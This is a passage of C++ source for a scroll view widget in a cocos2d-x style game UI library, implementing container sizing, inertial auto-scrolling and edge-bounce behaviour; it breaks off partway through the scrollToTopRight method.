bool UIScrollView::init()
{
if (UILayout::init())
{
setUpdateEnabled(true);
setTouchEnabled(true);
setClippingEnabled(true);
m_pInnerContainer->setTouchEnabled(false);
return true;
}
return false;
}
void UIScrollView::initRenderer()
{
UILayout::initRenderer();
m_pInnerContainer = UILayout::create();
UILayout::addChild(m_pInnerContainer);
}
void UIScrollView::onSizeChanged()
{
UILayout::onSizeChanged();
m_fTopBoundary = m_tSize.height;
m_fRightBoundary = m_tSize.width;
float bounceBoundaryParameterX = m_tSize.width / 3.0f;
float bounceBoundaryParameterY = m_tSize.height / 3.0f;
m_fBounceTopBoundary = m_tSize.height - bounceBoundaryParameterY;
m_fBounceBottomBoundary = bounceBoundaryParameterY;
m_fBounceLeftBoundary = bounceBoundaryParameterX;
m_fBounceRightBoundary = m_tSize.width - bounceBoundaryParameterX;
cocos2d::Size innerSize = m_pInnerContainer->getSize();
float orginInnerSizeWidth = innerSize.width;
float orginInnerSizeHeight = innerSize.height;
float innerSizeWidth = KD_MAX(orginInnerSizeWidth, m_tSize.width);
float innerSizeHeight = KD_MAX(orginInnerSizeHeight, m_tSize.height);
m_pInnerContainer->setSize(cocos2d::Size(innerSizeWidth, innerSizeHeight));
m_pInnerContainer->setPosition(cocos2d::Point(0, m_tSize.height - m_pInnerContainer->getSize().height));
}
void UIScrollView::setInnerContainerSize(const cocos2d::Size &size)
{
float innerSizeWidth = m_tSize.width;
float innerSizeHeight = m_tSize.height;
cocos2d::Size originalInnerSize = m_pInnerContainer->getSize();
if (size.width < m_tSize.width)
{
CCLOG("Inner width <= scrollview width, it will be force sized!");
}
else
{
innerSizeWidth = size.width;
}
if (size.height < m_tSize.height)
{
CCLOG("Inner height <= scrollview height, it will be force sized!");
}
else
{
innerSizeHeight = size.height;
}
m_pInnerContainer->setSize(cocos2d::Size(innerSizeWidth, innerSizeHeight));
switch (m_eDirection)
{
case SCROLLVIEW_DIR_VERTICAL:
{
cocos2d::Size newInnerSize = m_pInnerContainer->getSize();
float offset = originalInnerSize.height - newInnerSize.height;
scrollChildren(0.0f, offset);
break;
}
case SCROLLVIEW_DIR_HORIZONTAL:
{
if (m_pInnerContainer->getRightInParent() <= m_tSize.width)
{
cocos2d::Size newInnerSize = m_pInnerContainer->getSize();
float offset = originalInnerSize.width - newInnerSize.width;
scrollChildren(offset, 0.0f);
}
break;
}
case SCROLLVIEW_DIR_BOTH:
{
cocos2d::Size newInnerSize = m_pInnerContainer->getSize();
float offsetY = originalInnerSize.height - newInnerSize.height;
float offsetX = 0.0f;
if (m_pInnerContainer->getRightInParent() <= m_tSize.width)
{
offsetX = originalInnerSize.width - newInnerSize.width;
}
scrollChildren(offsetX, offsetY);
break;
}
default:
break;
}
}
const cocos2d::Size& UIScrollView::getInnerContainerSize() const
{
return m_pInnerContainer->getSize();
}
bool UIScrollView::addChild(UIWidget* widget)
{
return m_pInnerContainer->addChild(widget);
}
void UIScrollView::removeAllChildren()
{
m_pInnerContainer->removeAllChildren();
}
bool UIScrollView::removeChild(UIWidget* child)
{
return m_pInnerContainer->removeChild(child);
}
cocos2d::Array* UIScrollView::getChildren()
{
return m_pInnerContainer->getChildren();
}
void UIScrollView::moveChildren(float offsetX, float offsetY)
{
m_tMoveChildPoint = m_pInnerContainer->getPosition() + cocos2d::Point(offsetX, offsetY);
m_pInnerContainer->setPosition(m_tMoveChildPoint);
}
void UIScrollView::autoScrollChildren(float dt)
{
float lastTime = m_fAutoScrollAddUpTime;
m_fAutoScrollAddUpTime += dt;
if (m_bIsAutoScrollSpeedAttenuated)
{
float nowSpeed = m_fAutoScrollOriginalSpeed + m_fAutoScrollAcceleration * m_fAutoScrollAddUpTime;
if (nowSpeed <= 0.0f)
{
stopAutoScrollChildren();
checkNeedBounce();
}
else
{
float timeParam = lastTime * 2 + dt;
float offset = (m_fAutoScrollOriginalSpeed + m_fAutoScrollAcceleration * timeParam * 0.5f) * dt;
float offsetX = offset * m_tAutoScrollDir.x;
float offsetY = offset * m_tAutoScrollDir.y;
if (!scrollChildren(offsetX, offsetY))
{
stopAutoScrollChildren();
checkNeedBounce();
}
}
}
else
{
if (m_bNeedCheckAutoScrollDestination)
{
float xOffset = m_tAutoScrollDir.x * dt * m_fAutoScrollOriginalSpeed;
float yOffset = m_tAutoScrollDir.y * dt * m_fAutoScrollOriginalSpeed;
bool notDone = checkCustomScrollDestination(&xOffset, &yOffset);
bool scrollCheck = scrollChildren(xOffset, yOffset);
if (!notDone || !scrollCheck)
{
stopAutoScrollChildren();
checkNeedBounce();
}
}
else
{
if (!scrollChildren(m_tAutoScrollDir.x * dt * m_fAutoScrollOriginalSpeed, m_tAutoScrollDir.y * dt * m_fAutoScrollOriginalSpeed))
{
stopAutoScrollChildren();
checkNeedBounce();
}
}
}
}
void UIScrollView::bounceChildren(float dt)
{
if (m_fBounceOriginalSpeed <= 0.0f)
{
stopBounceChildren();
}
if (!bounceScrollChildren(m_tBounceDir.x * dt * m_fBounceOriginalSpeed, m_tBounceDir.y * dt * m_fBounceOriginalSpeed))
{
stopBounceChildren();
}
}
bool UIScrollView::checkNeedBounce()
{
if (!m_bBounceEnabled)
{
return false;
}
checkBounceBoundary();
if (m_bTopBounceNeeded || m_bBottomBounceNeeded || m_bLeftBounceNeeded || m_bRightBounceNeeded)
{
if (m_bTopBounceNeeded && m_bLeftBounceNeeded)
{
cocos2d::Point scrollVector = cocos2d::Point(0.0f, m_tSize.height) - cocos2d::Point(m_pInnerContainer->getLeftInParent(), m_pInnerContainer->getTopInParent());
float orSpeed = scrollVector.getLength()/(0.2f);
m_tBounceDir = scrollVector.normalize();
startBounceChildren(orSpeed);
}
else if (m_bTopBounceNeeded && m_bRightBounceNeeded)
{
cocos2d::Point scrollVector = cocos2d::Point(m_tSize.width, m_tSize.height) - cocos2d::Point(m_pInnerContainer->getRightInParent(), m_pInnerContainer->getTopInParent());
float orSpeed = scrollVector.getLength()/(0.2f);
m_tBounceDir = scrollVector.normalize();
startBounceChildren(orSpeed);
}
else if (m_bBottomBounceNeeded && m_bLeftBounceNeeded)
{
cocos2d::Point scrollVector = cocos2d::Point::ZERO - cocos2d::Point(m_pInnerContainer->getLeftInParent(), m_pInnerContainer->getBottomInParent());
float orSpeed = scrollVector.getLength()/(0.2f);
m_tBounceDir = scrollVector.normalize();
startBounceChildren(orSpeed);
}
else if (m_bBottomBounceNeeded && m_bRightBounceNeeded)
{
cocos2d::Point scrollVector = cocos2d::Point(m_tSize.width, 0.0f) - cocos2d::Point(m_pInnerContainer->getRightInParent(), m_pInnerContainer->getBottomInParent());
float orSpeed = scrollVector.getLength()/(0.2f);
m_tBounceDir = scrollVector.normalize();
startBounceChildren(orSpeed);
}
else if (m_bTopBounceNeeded)
{
cocos2d::Point scrollVector = cocos2d::Point(0.0f, m_tSize.height) - cocos2d::Point(0.0f, m_pInnerContainer->getTopInParent());
float orSpeed = scrollVector.getLength()/(0.2f);
m_tBounceDir = scrollVector.normalize();
startBounceChildren(orSpeed);
}
else if (m_bBottomBounceNeeded)
{
cocos2d::Point scrollVector = cocos2d::Point::ZERO - cocos2d::Point(0.0f, m_pInnerContainer->getBottomInParent());
float orSpeed = scrollVector.getLength()/(0.2f);
m_tBounceDir = scrollVector.normalize();
startBounceChildren(orSpeed);
}
else if (m_bLeftBounceNeeded)
{
cocos2d::Point scrollVector = cocos2d::Point::ZERO - cocos2d::Point(m_pInnerContainer->getLeftInParent(), 0.0f);
float orSpeed = scrollVector.getLength()/(0.2f);
m_tBounceDir = scrollVector.normalize();
startBounceChildren(orSpeed);
}
else if (m_bRightBounceNeeded)
{
cocos2d::Point scrollVector = cocos2d::Point(m_tSize.width, 0.0f) - cocos2d::Point(m_pInnerContainer->getRightInParent(), 0.0f);
float orSpeed = scrollVector.getLength()/(0.2f);
m_tBounceDir = scrollVector.normalize();
startBounceChildren(orSpeed);
}
return true;
}
return false;
}
void UIScrollView::checkBounceBoundary()
{
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos > m_fBottomBoundary)
{
scrollToBottomEvent();
m_bBottomBounceNeeded = true;
}
else
{
m_bBottomBounceNeeded = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos < m_fTopBoundary)
{
scrollToTopEvent();
m_bTopBounceNeeded = true;
}
else
{
m_bTopBounceNeeded = false;
}
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos < m_fRightBoundary)
{
scrollToRightEvent();
m_bRightBounceNeeded = true;
}
else
{
m_bRightBounceNeeded = false;
}
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos > m_fLeftBoundary)
{
scrollToLeftEvent();
m_bLeftBounceNeeded = true;
}
else
{
m_bLeftBounceNeeded = false;
}
}
void UIScrollView::startBounceChildren(float v)
{
m_fBounceOriginalSpeed = v;
m_bBouncing = true;
}
void UIScrollView::stopBounceChildren()
{
m_bBouncing = false;
m_fBounceOriginalSpeed = 0.0f;
m_bLeftBounceNeeded = false;
m_bRightBounceNeeded = false;
m_bTopBounceNeeded = false;
m_bBottomBounceNeeded = false;
}
void UIScrollView::startAutoScrollChildrenWithOriginalSpeed(const cocos2d::Point& dir, float v, bool attenuated, float acceleration)
{
stopAutoScrollChildren();
m_tAutoScrollDir = dir;
m_bIsAutoScrollSpeedAttenuated = attenuated;
m_fAutoScrollOriginalSpeed = v;
m_bAutoScroll = true;
m_fAutoScrollAcceleration = acceleration;
}
void UIScrollView::startAutoScrollChildrenWithDestination(const cocos2d::Point& des, float time, bool attenuated)
{
m_bNeedCheckAutoScrollDestination = false;
m_tAutoScrollDestination = des;
cocos2d::Point dis = des - m_pInnerContainer->getPosition();
cocos2d::Point dir = dis.normalize();
float orSpeed = 0.0f;
float acceleration = -1000.0f;
if (attenuated)
{
acceleration = (-(2 * dis.getLength())) / (time * time);
orSpeed = 2 * dis.getLength() / time;
}
else
{
m_bNeedCheckAutoScrollDestination = true;
orSpeed = dis.getLength() / time;
}
startAutoScrollChildrenWithOriginalSpeed(dir, orSpeed, attenuated, acceleration);
}
void UIScrollView::jumpToDestination(const cocos2d::Point &des)
{
float finalOffsetX = des.x;
float finalOffsetY = des.y;
switch (m_eDirection)
{
case SCROLLVIEW_DIR_VERTICAL:
if (des.y <= 0)
{
finalOffsetY = KD_MAX(des.y, m_tSize.height - m_pInnerContainer->getSize().height);
}
break;
case SCROLLVIEW_DIR_HORIZONTAL:
if (des.x <= 0)
{
finalOffsetX = KD_MAX(des.x, m_tSize.width - m_pInnerContainer->getSize().width);
}
break;
case SCROLLVIEW_DIR_BOTH:
if (des.y <= 0)
{
finalOffsetY = KD_MAX(des.y, m_tSize.height - m_pInnerContainer->getSize().height);
}
if (des.x <= 0)
{
finalOffsetX = KD_MAX(des.x, m_tSize.width - m_pInnerContainer->getSize().width);
}
break;
default:
break;
}
m_pInnerContainer->setPosition(cocos2d::Point(finalOffsetX, finalOffsetY));
}
void UIScrollView::stopAutoScrollChildren()
{
m_bAutoScroll = false;
m_fAutoScrollOriginalSpeed = 0.0f;
m_fAutoScrollAddUpTime = 0.0f;
}
bool UIScrollView::bounceScrollChildren(float touchOffsetX, float touchOffsetY)
{
bool scrollenabled = true;
if (touchOffsetX > 0.0f && touchOffsetY > 0.0f) //first quadrant //bounce to top-right
{
float realOffsetX = touchOffsetX;
float realOffsetY = touchOffsetY;
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + realOffsetX >= m_fRightBoundary)
{
realOffsetX = m_fRightBoundary - icRightPos;
bounceRightEvent();
scrollenabled = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY >= m_fTopBoundary)
{
realOffsetY = m_fTopBoundary - icTopPos;
bounceTopEvent();
scrollenabled = false;
}
moveChildren(realOffsetX, realOffsetY);
}
else if(touchOffsetX < 0.0f && touchOffsetY > 0.0f) //second quadrant //bounce to top-left
{
float realOffsetX = touchOffsetX;
float realOffsetY = touchOffsetY;
float icLefrPos = m_pInnerContainer->getLeftInParent();
if (icLefrPos + realOffsetX <= m_fLeftBoundary)
{
realOffsetX = m_fLeftBoundary - icLefrPos;
bounceLeftEvent();
scrollenabled = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY >= m_fTopBoundary)
{
realOffsetY = m_fTopBoundary - icTopPos;
bounceTopEvent();
scrollenabled = false;
}
moveChildren(realOffsetX, realOffsetY);
}
else if (touchOffsetX < 0.0f && touchOffsetY < 0.0f) //third quadrant //bounce to bottom-left
{
float realOffsetX = touchOffsetX;
float realOffsetY = touchOffsetY;
float icLefrPos = m_pInnerContainer->getLeftInParent();
if (icLefrPos + realOffsetX <= m_fLeftBoundary)
{
realOffsetX = m_fLeftBoundary - icLefrPos;
bounceLeftEvent();
scrollenabled = false;
}
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY <= m_fBottomBoundary)
{
realOffsetY = m_fBottomBoundary - icBottomPos;
bounceBottomEvent();
scrollenabled = false;
}
moveChildren(realOffsetX, realOffsetY);
}
else if (touchOffsetX > 0.0f && touchOffsetY < 0.0f) //forth quadrant //bounce to bottom-right
{
float realOffsetX = touchOffsetX;
float realOffsetY = touchOffsetY;
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + realOffsetX >= m_fRightBoundary)
{
realOffsetX = m_fRightBoundary - icRightPos;
bounceRightEvent();
scrollenabled = false;
}
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY <= m_fBottomBoundary)
{
realOffsetY = m_fBottomBoundary - icBottomPos;
bounceBottomEvent();
scrollenabled = false;
}
moveChildren(realOffsetX, realOffsetY);
}
else if (touchOffsetX == 0.0f && touchOffsetY > 0.0f) // bounce to top
{
float realOffsetY = touchOffsetY;
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY >= m_fTopBoundary)
{
realOffsetY = m_fTopBoundary - icTopPos;
bounceTopEvent();
scrollenabled = false;
}
moveChildren(0.0f, realOffsetY);
}
else if (touchOffsetX == 0.0f && touchOffsetY < 0.0f) //bounce to bottom
{
float realOffsetY = touchOffsetY;
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY <= m_fBottomBoundary)
{
realOffsetY = m_fBottomBoundary - icBottomPos;
bounceBottomEvent();
scrollenabled = false;
}
moveChildren(0.0f, realOffsetY);
}
else if (touchOffsetX > 0.0f && touchOffsetY == 0.0f) //bounce to right
{
float realOffsetX = touchOffsetX;
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + realOffsetX >= m_fRightBoundary)
{
realOffsetX = m_fRightBoundary - icRightPos;
bounceRightEvent();
scrollenabled = false;
}
moveChildren(realOffsetX, 0.0f);
}
else if (touchOffsetX < 0.0f && touchOffsetY == 0.0f) //bounce to left
{
float realOffsetX = touchOffsetX;
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + realOffsetX <= m_fLeftBoundary)
{
realOffsetX = m_fLeftBoundary - icLeftPos;
bounceLeftEvent();
scrollenabled = false;
}
moveChildren(realOffsetX, 0.0f);
}
return scrollenabled;
}
bool UIScrollView::checkCustomScrollDestination(float* touchOffsetX, float* touchOffsetY)
{
bool scrollenabled = true;
switch (m_eDirection)
{
case SCROLLVIEW_DIR_VERTICAL: // vertical
{
if (m_tAutoScrollDir.y > 0)
{
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + *touchOffsetY >= m_tAutoScrollDestination.y)
{
*touchOffsetY = m_tAutoScrollDestination.y - icBottomPos;
scrollenabled = false;
}
}
else
{
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + *touchOffsetY <= m_tAutoScrollDestination.y)
{
*touchOffsetY = m_tAutoScrollDestination.y - icBottomPos;
scrollenabled = false;
}
}
break;
}
case SCROLLVIEW_DIR_HORIZONTAL: // horizontal
{
if (m_tAutoScrollDir.x > 0)
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + *touchOffsetX >= m_tAutoScrollDestination.x)
{
*touchOffsetX = m_tAutoScrollDestination.x - icLeftPos;
scrollenabled = false;
}
}
else
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + *touchOffsetX <= m_tAutoScrollDestination.x)
{
*touchOffsetX = m_tAutoScrollDestination.x - icLeftPos;
scrollenabled = false;
}
}
break;
}
case SCROLLVIEW_DIR_BOTH:
{
if (*touchOffsetX > 0.0f && *touchOffsetY > 0.0f) // up right
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + *touchOffsetX >= m_tAutoScrollDestination.x)
{
*touchOffsetX = m_tAutoScrollDestination.x - icLeftPos;
scrollenabled = false;
}
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + *touchOffsetY >= m_tAutoScrollDestination.y)
{
*touchOffsetY = m_tAutoScrollDestination.y - icBottomPos;
scrollenabled = false;
}
}
else if (*touchOffsetX < 0.0f && *touchOffsetY > 0.0f) // up left
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + *touchOffsetX <= m_tAutoScrollDestination.x)
{
*touchOffsetX = m_tAutoScrollDestination.x - icRightPos;
scrollenabled = false;
}
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + *touchOffsetY >= m_tAutoScrollDestination.y)
{
*touchOffsetY = m_tAutoScrollDestination.y - icBottomPos;
scrollenabled = false;
}
}
else if (*touchOffsetX < 0.0f && *touchOffsetY < 0.0f) // down left
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + *touchOffsetX <= m_tAutoScrollDestination.x)
{
*touchOffsetX = m_tAutoScrollDestination.x - icRightPos;
scrollenabled = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + *touchOffsetY <= m_tAutoScrollDestination.y)
{
*touchOffsetY = m_tAutoScrollDestination.y - icTopPos;
scrollenabled = false;
}
}
else if (*touchOffsetX > 0.0f && *touchOffsetY < 0.0f) // down right
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + *touchOffsetX >= m_tAutoScrollDestination.x)
{
*touchOffsetX = m_tAutoScrollDestination.x - icLeftPos;
scrollenabled = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + *touchOffsetY <= m_tAutoScrollDestination.y)
{
*touchOffsetY = m_tAutoScrollDestination.y - icTopPos;
scrollenabled = false;
}
}
else if (*touchOffsetX == 0.0f && *touchOffsetY > 0.0f) // up
{
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + *touchOffsetY >= m_tAutoScrollDestination.y)
{
*touchOffsetY = m_tAutoScrollDestination.y - icBottomPos;
scrollenabled = false;
}
}
else if (*touchOffsetX < 0.0f && *touchOffsetY == 0.0f) // left
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + *touchOffsetX <= m_tAutoScrollDestination.x)
{
*touchOffsetX = m_tAutoScrollDestination.x - icRightPos;
scrollenabled = false;
}
}
else if (*touchOffsetX == 0.0f && *touchOffsetY < 0.0f) // down
{
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + *touchOffsetY <= m_tAutoScrollDestination.y)
{
*touchOffsetY = m_tAutoScrollDestination.y - icTopPos;
scrollenabled = false;
}
}
else if (*touchOffsetX > 0.0f && *touchOffsetY == 0.0f) // right
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + *touchOffsetX >= m_tAutoScrollDestination.x)
{
*touchOffsetX = m_tAutoScrollDestination.x - icLeftPos;
scrollenabled = false;
}
}
break;
}
default:
break;
}
return scrollenabled;
}
bool UIScrollView::scrollChildren(float touchOffsetX, float touchOffsetY)
{
bool scrollenabled = true;
scrollingEvent();
switch (m_eDirection)
{
case SCROLLVIEW_DIR_VERTICAL: // vertical
{
float realOffset = touchOffsetY;
if (m_bBounceEnabled)
{
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY >= m_fBounceBottomBoundary)
{
realOffset = m_fBounceBottomBoundary - icBottomPos;
scrollToBottomEvent();
scrollenabled = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY <= m_fBounceTopBoundary)
{
realOffset = m_fBounceTopBoundary - icTopPos;
scrollToTopEvent();
scrollenabled = false;
}
}
else
{
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY >= m_fBottomBoundary)
{
realOffset = m_fBottomBoundary - icBottomPos;
scrollToBottomEvent();
scrollenabled = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY <= m_fTopBoundary)
{
realOffset = m_fTopBoundary - icTopPos;
scrollToTopEvent();
scrollenabled = false;
}
}
moveChildren(0.0f, realOffset);
break;
}
case SCROLLVIEW_DIR_HORIZONTAL: // horizontal
{
float realOffset = touchOffsetX;
if (m_bBounceEnabled)
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + touchOffsetX <= m_fBounceRightBoundary)
{
realOffset = m_fBounceRightBoundary - icRightPos;
scrollToRightEvent();
scrollenabled = false;
}
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + touchOffsetX >= m_fBounceLeftBoundary)
{
realOffset = m_fBounceLeftBoundary - icLeftPos;
scrollToLeftEvent();
scrollenabled = false;
}
}
else
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + touchOffsetX <= m_fRightBoundary)
{
realOffset = m_fRightBoundary - icRightPos;
scrollToRightEvent();
scrollenabled = false;
}
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + touchOffsetX >= m_fLeftBoundary)
{
realOffset = m_fLeftBoundary - icLeftPos;
scrollToLeftEvent();
scrollenabled = false;
}
}
moveChildren(realOffset, 0.0f);
break;
}
case SCROLLVIEW_DIR_BOTH:
{
float realOffsetX = touchOffsetX;
float realOffsetY = touchOffsetY;
if (m_bBounceEnabled)
{
if (touchOffsetX > 0.0f && touchOffsetY > 0.0f) // up right
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + touchOffsetX >= m_fBounceLeftBoundary)
{
realOffsetX = m_fBounceLeftBoundary - icLeftPos;
scrollToLeftEvent();
scrollenabled = false;
}
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY >= m_fBounceBottomBoundary)
{
realOffsetY = m_fBounceBottomBoundary - icBottomPos;
scrollToBottomEvent();
scrollenabled = false;
}
}
else if (touchOffsetX < 0.0f && touchOffsetY > 0.0f) // up left
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + touchOffsetX <= m_fBounceRightBoundary)
{
realOffsetX = m_fBounceRightBoundary - icRightPos;
scrollToRightEvent();
scrollenabled = false;
}
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY >= m_fBounceBottomBoundary)
{
realOffsetY = m_fBounceBottomBoundary - icBottomPos;
scrollToBottomEvent();
scrollenabled = false;
}
}
else if (touchOffsetX < 0.0f && touchOffsetY < 0.0f) // down left
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + touchOffsetX <= m_fBounceRightBoundary)
{
realOffsetX = m_fBounceRightBoundary - icRightPos;
scrollToRightEvent();
scrollenabled = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY <= m_fBounceTopBoundary)
{
realOffsetY = m_fBounceTopBoundary - icTopPos;
scrollToTopEvent();
scrollenabled = false;
}
}
else if (touchOffsetX > 0.0f && touchOffsetY < 0.0f) // down right
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + touchOffsetX >= m_fBounceLeftBoundary)
{
realOffsetX = m_fBounceLeftBoundary - icLeftPos;
scrollToLeftEvent();
scrollenabled = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY <= m_fBounceTopBoundary)
{
realOffsetY = m_fBounceTopBoundary - icTopPos;
scrollToTopEvent();
scrollenabled = false;
}
}
else if (touchOffsetX == 0.0f && touchOffsetY > 0.0f) // up
{
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY >= m_fBounceBottomBoundary)
{
realOffsetY = m_fBounceBottomBoundary - icBottomPos;
scrollToBottomEvent();
scrollenabled = false;
}
}
else if (touchOffsetX < 0.0f && touchOffsetY == 0.0f) // left
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + touchOffsetX <= m_fBounceRightBoundary)
{
realOffsetX = m_fBounceRightBoundary - icRightPos;
scrollToRightEvent();
scrollenabled = false;
}
}
else if (touchOffsetX == 0.0f && touchOffsetY < 0.0f) // down
{
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY <= m_fBounceTopBoundary)
{
realOffsetY = m_fBounceTopBoundary - icTopPos;
scrollToTopEvent();
scrollenabled = false;
}
}
else if (touchOffsetX > 0.0f && touchOffsetY == 0.0f) // right
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + touchOffsetX >= m_fBounceLeftBoundary)
{
realOffsetX = m_fBounceLeftBoundary - icLeftPos;
scrollToLeftEvent();
scrollenabled = false;
}
}
}
else
{
if (touchOffsetX > 0.0f && touchOffsetY > 0.0f) // up right
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + touchOffsetX >= m_fLeftBoundary)
{
realOffsetX = m_fLeftBoundary - icLeftPos;
scrollToLeftEvent();
scrollenabled = false;
}
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY >= m_fBottomBoundary)
{
realOffsetY = m_fBottomBoundary - icBottomPos;
scrollToBottomEvent();
scrollenabled = false;
}
}
else if (touchOffsetX < 0.0f && touchOffsetY > 0.0f) // up left
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + touchOffsetX <= m_fRightBoundary)
{
realOffsetX = m_fRightBoundary - icRightPos;
scrollToRightEvent();
scrollenabled = false;
}
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY >= m_fBottomBoundary)
{
realOffsetY = m_fBottomBoundary - icBottomPos;
scrollToBottomEvent();
scrollenabled = false;
}
}
else if (touchOffsetX < 0.0f && touchOffsetY < 0.0f) // down left
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + touchOffsetX <= m_fRightBoundary)
{
realOffsetX = m_fRightBoundary - icRightPos;
scrollToRightEvent();
scrollenabled = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY <= m_fTopBoundary)
{
realOffsetY = m_fTopBoundary - icTopPos;
scrollToTopEvent();
scrollenabled = false;
}
}
else if (touchOffsetX > 0.0f && touchOffsetY < 0.0f) // down right
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + touchOffsetX >= m_fLeftBoundary)
{
realOffsetX = m_fLeftBoundary - icLeftPos;
scrollToLeftEvent();
scrollenabled = false;
}
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY <= m_fTopBoundary)
{
realOffsetY = m_fTopBoundary - icTopPos;
scrollToTopEvent();
scrollenabled = false;
}
}
else if (touchOffsetX == 0.0f && touchOffsetY > 0.0f) // up
{
float icBottomPos = m_pInnerContainer->getBottomInParent();
if (icBottomPos + touchOffsetY >= m_fBottomBoundary)
{
realOffsetY = m_fBottomBoundary - icBottomPos;
scrollToBottomEvent();
scrollenabled = false;
}
}
else if (touchOffsetX < 0.0f && touchOffsetY == 0.0f) // left
{
float icRightPos = m_pInnerContainer->getRightInParent();
if (icRightPos + touchOffsetX <= m_fRightBoundary)
{
realOffsetX = m_fRightBoundary - icRightPos;
scrollToRightEvent();
scrollenabled = false;
}
}
else if (touchOffsetX == 0.0f && touchOffsetY < 0.0f) // down
{
float icTopPos = m_pInnerContainer->getTopInParent();
if (icTopPos + touchOffsetY <= m_fTopBoundary)
{
realOffsetY = m_fTopBoundary - icTopPos;
scrollToTopEvent();
scrollenabled = false;
}
}
else if (touchOffsetX > 0.0f && touchOffsetY == 0.0f) // right
{
float icLeftPos = m_pInnerContainer->getLeftInParent();
if (icLeftPos + touchOffsetX >= m_fLeftBoundary)
{
realOffsetX = m_fLeftBoundary - icLeftPos;
scrollToLeftEvent();
scrollenabled = false;
}
}
}
moveChildren(realOffsetX, realOffsetY);
break;
}
default:
break;
}
return scrollenabled;
}
void UIScrollView::scrollToBottom(float time, bool attenuated)
{
startAutoScrollChildrenWithDestination(cocos2d::Point(m_pInnerContainer->getPosition().x, 0.0f), time, attenuated);
}
void UIScrollView::scrollToTop(float time, bool attenuated)
{
startAutoScrollChildrenWithDestination(cocos2d::Point(m_pInnerContainer->getPosition().x, m_tSize.height - m_pInnerContainer->getSize().height), time, attenuated);
}
void UIScrollView::scrollToLeft(float time, bool attenuated)
{
startAutoScrollChildrenWithDestination(cocos2d::Point(0.0f, m_pInnerContainer->getPosition().y), time, attenuated);
}
void UIScrollView::scrollToRight(float time, bool attenuated)
{
startAutoScrollChildrenWithDestination(cocos2d::Point(m_tSize.width - m_pInnerContainer->getSize().width, m_pInnerContainer->getPosition().y), time, attenuated);
}
void UIScrollView::scrollToTopLeft(float time, bool attenuated)
{
if (m_eDirection != SCROLLVIEW_DIR_BOTH)
{
CCLOG("Scroll diretion is not both!");
return;
}
startAutoScrollChildrenWithDestination(cocos2d::Point(0.0f, m_tSize.height - m_pInnerContainer->getSize().height), time, attenuated);
}
void UIScrollView::scrollToTopRight(float time, bool attenuated)
{
if (m_eDirection != SCROLLVIEW_DIR_BOTH)
{
CCLOG("Scroll diretion is not both!");
return;
}
